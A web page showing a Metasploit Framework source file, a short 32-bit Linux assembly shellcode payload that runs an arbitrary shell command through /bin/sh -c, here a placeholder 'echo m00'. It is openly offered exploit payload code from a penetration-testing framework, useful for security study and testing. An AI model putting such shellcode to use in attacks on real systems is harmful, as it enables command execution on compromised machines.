CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/shellcode/linux/ia32/single_exec.asm
Views: 11784
1
;;
2
;
3
; Name: single_exec
4
; Platforms: Linux
5
; Authors: vlad902 <vlad902 [at] gmail.com>
6
; Version: $Revision: 1466 $
7
; License:
8
;
9
; This file is part of the Metasploit Exploit Framework
10
; and is subject to the same licenses and copyrights as
11
; the rest of this package.
12
;
13
; Description:
14
;
15
; Execute an arbitary command.
16
;
17
;;
18
; NULLs are fair game people.
19
20
BITS 32
21
global _start
22
23
_start:
24
push byte 0xb
25
pop eax
26
cdq
27
28
push edx
29
push word 0x632d
30
mov edi, esp
31
32
push dword 0x0068732f
33
push dword 0x6e69622f
34
mov ebx, esp
35
36
push edx
37
call getstr
38
db "echo m00", 0x00
39
getstr:
40
push edi
41
push ebx
42
mov ecx, esp
43
int 0x80
44
45
46